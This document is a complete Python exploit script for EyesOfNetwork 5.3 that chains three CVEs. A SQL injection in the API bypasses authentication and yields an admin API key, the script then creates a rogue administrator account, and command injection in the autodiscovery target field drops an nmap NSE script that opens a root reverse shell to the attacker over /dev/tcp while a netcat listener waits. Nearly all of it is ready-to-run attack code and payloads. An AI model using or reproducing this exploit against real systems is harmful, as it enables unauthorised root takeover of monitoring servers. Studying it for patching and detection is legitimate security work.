1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 |
# Exploit Title: EyesOfNetwork 5.3 - Remote Code Execution # Date: 2020-02-01 # Exploit Author: Clément Billac # Vendor Homepage: https://www.eyesofnetwork.com/ # Software Link: http://download.eyesofnetwork.com/EyesOfNetwork-5.3-x86_64-bin.iso # Version: 5.3 # CVE : CVE-2020-8654, CVE-2020-8655, CVE-2020-8656 #!/bin/env python3 # coding: utf8 # # # CVE-2020-8654 - Discovery module to allows to run arbitrary OS commands # We were able to run the 'id' command with the following payload in the target field : ';id #'. # # CVE-2020-8655 - LPE via nmap NSE script # As the apache user is allowed to run nmap as root, we were able to execute arbitrary commands by providing a specially crafted NSE script. # nmap version 6.40 is used and doesn't have the -c and -e options. # # CVE-2020-8656 - SQLi in API in getApiKey function on 'username' field # PoC: /eonapi/getApiKey?username=' union select sleep(3),0,0,0,0,0,0,0 or ' # Auth bypass: /eonapi/getApiKey?&username=' union select 1,'admin','1c85d47ff80b5ff2a4dd577e8e5f8e9d',0,0,1,1,8 or '&password=h4knet # Python imports import sys, requests, json, os, argparse, socket from bs4 import BeautifulSoup # Text colors txt_yellow = "\033[01;33m" txt_blue = "\033[01;34m" txt_red = "\033[01;31m" txt_green = "\033[01;32m" txt_bold = "\033[01;01m" txt_reset = "\033[00m" txt_info = txt_blue + "[*] " + txt_reset txt_success = txt_green + "[+] " + txt_reset txt_warn = txt_yellow + "[!] " + txt_reset txt_err = txt_red + "[x] " + txt_reset # Banner banner = (txt_bold + """ +-----------------------------------------------------------------------------+ | EyesOfNetwork 5.3 RCE (API v2.4.2)| | 02/2020 - Clément Billac \033[01;34mTwitter: @h4knet\033[00m | | | | Examples: | | eonrce.py -h| | eonrce.py http(s)://EyesOfNetwork-URL | | eonrce.py https://eon.thinc.local -ip 10.11.0.182 -port 3128| | eonrce.py https://eon.thinc.local -ip 10.11.0.182 -user pentest2020 | +-----------------------------------------------------------------------------+ """ + txt_reset) # Arguments Parser parser = argparse.ArgumentParser("eonrce", formatter_class=argparse.RawDescriptionHelpFormatter, usage=banner) parser.add_argument("URL", metavar="URL", help="URL of the EyesOfNetwork server") parser.add_argument("-ip", metavar="IP", help="Local IP to receive reverse shell", default=socket.gethostbyname(socket.gethostname())) parser.add_argument("-port", metavar="Port", type=int, help="Local port to listen", default=443) parser.add_argument("-user", metavar="Username", type=str, help="Name of the new user to create", default='h4ker') parser.add_argument("-password", metavar="Password", type=str, help="Password of the new user", default='net_was_here') args = parser.parse_args() # HTTP Requests config requests.packages.urllib3.disable_warnings() baseurl = sys.argv[1].strip('/') url = baseurl useragent = 'Mozilla/5.0 (Windows NT 1.0; WOW64; rv:13.37) Gecko/20200104 Firefox/13.37' # Admin user creation variables new_user = args.user new_pass = args.password # Executed command # The following payload performs both the LPE and the reverse shell in a single command. # It creates a NSE script in /tmp/h4k wich execute /bin/sh with reverse shell and then perform the nmap scan on localhost with the created NSE script. # Readable PoC: ;echo "local os = require \"os\" hostrule=function(host) os.execute(\"/bin/sh -i >& /dev/tcp/192.168.30.112/8081 0>&1\") end action=function() end" > /tmp/h4k;sudo /usr/bin/nmap localhost -p 1337 -script /tmp/h4k # ip = args.ip port = str(args.port) cmd = '%3Becho+%22local+os+%3D+require+%5C%22os%5C%22+hostrule%3Dfunction%28host%29+os.execute%28%5C%22%2Fbin%2Fsh+-i+%3E%26+%2Fdev%2Ftcp%2F' + ip + '%2F' + port + '+0%3E%261%5C%22%29+end+action%3Dfunction%28%29+end%22+%3E+%2Ftmp%2Fh4k%3Bsudo+%2Fusr%2Fbin%2Fnmap+localhost+-p+1337+-script+%2Ftmp%2Fh4k+%23' # Exploit banner print (txt_bold,"""+-----------------------------------------------------------------------------+ | EyesOfNetwork 5.3 RCE (API v2.4.2)| | 02/2020 - Clément Billac \033[01;34mTwitter: @h4knet\033[00m| +-----------------------------------------------------------------------------+ """, txt_reset, sep = '') # Check if it's a EyesOfNetwork login page. r = requests.get(baseurl, verify=False, headers={'user-agent':useragent}) if r.status_code == 200 and r.text.find('<title>EyesOfNetwork</title>') != -1 and r.text.find('form action="login.php" method="POST">') != -1: print(txt_info, "EyesOfNetwork login page found", sep = '') else: print(txt_err, 'EyesOfNetwork login page not found', sep = '') quit() # Check for accessible EON API url = baseurl + '/eonapi/getApiKey' r = requests.get(url, verify=False, headers={'user-agent':useragent}) if r.status_code == 401 and 'api_version' in r.json().keys() and 'http_code' in r.json().keys(): print(txt_info, 'EyesOfNetwork API page found. API version: ',txt_bold , r.json()['api_version'], txt_reset, sep = '') else: print(txt_warn, 'EyesOfNetwork API page not found', sep = '') quit() # SQL injection with authentication bypass url = baseurl + '/eonapi/getApiKey?&username=%27%20union%20select%201,%27admin%27,%271c85d47ff80b5ff2a4dd577e8e5f8e9d%27,0,0,1,1,8%20or%20%27&password=h4knet' r = requests.get(url, verify=False, headers={'user-agent':useragent}) if r.status_code == 200 and 'EONAPI_KEY' in r.json().keys(): print(txt_success, 'Admin user key obtained: ', txt_bold, r.json()['EONAPI_KEY'], txt_reset, sep = '') else: print(txt_err, 'The host seems patched or unexploitable', sep = '') print(txt_warn, 'Did you specified http instead of https in the URL ?', sep = '') print(txt_warn, 'You can check manually the SQLi with the following payload: ', txt_bold, "/eonapi/getApiKey?username=' union select sleep(3),0,0,0,0,0,0,0 or '", txt_reset, sep = '') quit() # Adding new administrator url = sys.argv[1].strip('/') + '/eonapi/createEonUser?username=admin&apiKey=' + r.json()['EONAPI_KEY'] r = requests.post(url, verify=False, headers={'user-agent':useragent}, json={"user_name":new_user,"user_group":"admins","user_password":new_pass}) if r.status_code == 200 and 'result' in r.json().keys(): if r.json()['result']['code'] == 0 and 'SUCCESS' inr.json()['result']['description']: id = r.json()['result']['description'].split('ID = ', 1)[1].split(']')[0] print(txt_success, 'New user ', txt_bold, new_user, txt_reset, ' successfully created. ID:', txt_bold,id, txt_reset, sep = '') elif r.json()['result']['code'] == 1: if ' already exist.' inr.json()['result']['description']: print(txt_warn, 'The user ', txt_bold, new_user, txt_reset, ' already exists', sep = '') else: print(txt_err, 'An error occured while querying the API. Unexpected description message: ', txt_bold, r.json()['result']['description'], txt_reset, sep = '') quit() else: print(txt_err, 'An error occured while querying the API. Unepected result code. Description: ', txt_bold, r.json()['result']['description'], txt_reset, sep = '') quit() else: print(txt_err, 'An error occured while querying the API. Missing result value in JSON response or unexpected HTTP status response', sep = '') quit() # Authentication with our new user url = baseurl + '/login.php' auth_data = 'login=' + new_user + '&mdp=' +new_pass auth_req = requests.post(url, verify=False, headers={'user-agent':useragent,'Content-Type':'application/x-www-form-urlencoded'}, data=auth_data) if auth_req.status_code == 200 and 'Set-Cookie' in auth_req.headers: print(txt_success, 'Successfully authenticated', sep = '') else: print(txt_err, 'Error while authenticating. We expect to receive Set-Cookie headers uppon successful authentication', sep = '') quit() # Creating Discovery job url = baseurl + '/lilac/autodiscovery.php' job_command = 'request=autodiscover&job_name=Internal+discovery&job_description=Internal+EON+discovery+procedure.&nmap_binary=%2Fusr%2Fbin%2Fnmap&default_template=&target%5B2%5D=' + cmd r = requests.post(url, verify=False, headers={'user-agent':useragent,'Content-Type':'application/x-www-form-urlencoded'}, cookies=auth_req.cookies, data=job_command) if r.status_code == 200 and r.text.find('Starting...') != -1: job_id = str(BeautifulSoup(r.content, "html.parser").find(id="completemsg")).split('?id=', 1)[1].split('&rev')[0] print(txt_success, 'Discovery job successfully created with ID: ', txt_bold, job_id, txt_reset, sep = '') else: print(txt_err, 'Error while creating the discovery job', sep = '') quit() # Launching listener print(txt_info, 'Spawning netcat listener:', txt_bold) nc_command = '/usr/bin/nc -lnvp' + port + ' -s ' + ip os.system(nc_command) print(txt_reset) # Removing job url = baseurl + '/lilac/autodiscovery.php?id=' + job_id + '&delete=1' r = requests.get(url, verify=False, headers={'user-agent':useragent}, cookies=auth_req.cookies) if r.status_code == 200 and r.text.find('Removed Job') != -1: print(txt_info, 'Job ', job_id, ' removed', sep = '') else: print(txt_err, 'Error while removing the job', sep = '') quit() |